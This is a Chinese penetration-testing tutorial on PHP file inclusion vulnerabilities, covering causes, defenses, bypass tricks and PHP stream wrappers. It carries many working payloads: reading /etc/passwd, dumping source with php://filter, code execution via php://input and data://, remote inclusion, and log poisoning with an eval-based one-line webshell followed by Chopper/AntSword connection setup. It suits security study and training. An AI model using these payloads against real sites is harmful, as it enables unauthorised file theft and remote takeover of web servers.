渗透测试-11:文件包含漏洞
漏洞利用
- 读取敏感文件
- 利用封装协议读取源码
- 包含图片getshell
- 截断包含
- 包含日志getshell
漏洞原理
- 文件包含:开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件
- 文件包含漏洞:开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞
漏洞危害
- 敏感信息泄露
- 获取webshell
- 任意命令执行
防御方式
- 设置白名单
- 过滤危险字符
- 关闭危险配置
- 限制文件包含的路径,比如只能包含某个目录内的文件(php.ini中设置open_basedir=[绝对路径])
- 严格判断包含中的的参数是否外部可控,尽量不要使用动态包含
绕过技巧
-
URL编码(
../
=>%252E%252E/
) -
特殊字符
-
%00截断(php<=5.3.4)(?file=webshell.php%00)
-
长目录截断(php<=5.3.4)
-
伪协议
相关函数
函数 | 特点 |
---|---|
include() | 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行 |
include_once() | 功能与 Include() 相同,区别在于当重复调用同一文件时,程序只调用一次 |
require() | require() 与 include() 的区别在于 require() 执行如果发生错误,函数会输出错误信息,并终止脚本的运行 |
require_once() | 功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次 |
本地文件包含(LFI)
包含的文件在服务器本地
远程文件包含(RFL)
包含的文件在远程服务器上,远程文件包含需要在 php.ini 中开启对应参数开关
- allow_url_include = on(是否允许远程文件包含,默认关闭)
- allow_url_fopen = on(是否允许将url当作文件处理,默认开启)
PHP中的封装协议(伪协议)
file://
:访问本地文件系统php://
:访问各个输入/输出流(I/O streams)phar://
:PHP 归档zip://
bzip2://
zlib://
:压缩流http://
https://
:访问 HTTP(s) 网址data://
:数据(RFC 2397)ftp://
:访问 FTP(s) URLsglob://
:查找匹配的文件路径模式ssh2://
:安全外壳协议 2rar://
:RARogg://
:音频流expect://
:处理交互式的流
file://
作用:用于访问本地文件系统,常用来读取本地文件
?file=file:///etc/passwd
?file=file://c:/windows/win.ini
?file=./phpinfo.txt
php://
- 访问各个输入/输出流(I/O streams),常使用的是 php://filter 和 php://input
- php://filter常用于读取源码,php://input用于执行php代码
- PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data"的时候php://input是无效的 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用,对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents,在数据流内容读取之前没有机会应用其他过滤器 |
php://input
示例
?file=php://input => post:<?php phpinfo();?>
php://filter
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递
参数 | 描述 |
---|---|
resource=[要过滤的数据流] | 必须项,指定了要筛选过滤的数据流 |
read=[读链的过滤器] | 可选项,可设定一个或多个过滤器名称,以管道符(\)分隔 |
write=[写链的过滤器] | 可选项,可设定一个或多个过滤器名称,以管道符(\)分隔 |
;[两个链的过滤器] | 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链 |
可用的过滤器列表(4类)
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13(),rot13变换 |
string.toupper | 等同于strtoupper(),转大写字母 |
string.tolower | 等同于strtolower(),转小写字母 |
string.strip_tags | 等同于strip_tags(),去除html、PHP语言标签 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip 的头和尾信息,只是压缩和解压数据流中的有效载荷部分 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于 base64_encode() 和 base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
示例
// 读取源码
?file=php://filter/read=convert.base64-encode/resource=webshell.php
phar://
作用:属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀,比如:jpg png gif xxx 等等
示例
?file=phar://[相对路径]/phpinfo.zip/phpinfo.txt
?file=phar://[绝对路径]/phpinfo.zip/phpinfo.txt
zip:// bzip2:// zlib://
作用:属于压缩流,可以访问压缩文件中的子文件,可以不需要指定后缀名,可修改为任意后缀。比如:jpg png gif xxx 等等
示例
// 压缩 phpinfo.txt 为 phpinfo.zip,压缩包重命名为 phpinfo.jpg,并上传
?file=zip://[绝对路径]/phpinfo.jpg%23phpinfo.txt
http:// https://
作用:访问远程文件或资源,常用于远程包含
使用条件
- allow_url_include = on
- allow_url_fopen = on
示例
?file=http://[远程主机IP或域名]/[路径]/[文件名+后缀]
?file=http://baidu.com/robots.txt
data://
作用:(PHP>=5.2.0)可以使用 data:// 数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码
使用条件
- allow_url_include = on
- allow_url_fopen = on
示例
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,[base64编码后的字符串]
apache日志文件
注:需要在httpd.conf中,将 CustomLog "logs/access.log" common
前面的注释去掉,开启access.log
一般 apache 会存在两个日志文件:
- 访问日志文件(access.log),访问日志默认不开启
- 错误日志文件(error.log)
apache 开启了日志功能时,会主动将外部访问的信息记录到 access.log,在访问时利用一句话木马记录到日志文件中时,日志文件会出现url编码而导致一句话木马无法解析,需要通过BP的重放模块修改请求参数
示例
?file=<?php @eval($_POST['cmd']);?>
?file=file://[绝对路径]/Apache/logs/access.log => post:cmd=phpinfo();
菜刀getshell
地址:[...]?file=php://input => cmd
配置:<O><?php @eval($_POST['cmd'];?></O>
蚁剑getshell
URL地址:[...]?file=php://input => cmd
连接密码:cmd
请求信息=>HTTP BODY=>Name:<?php @eval($_POST['cmd'];?>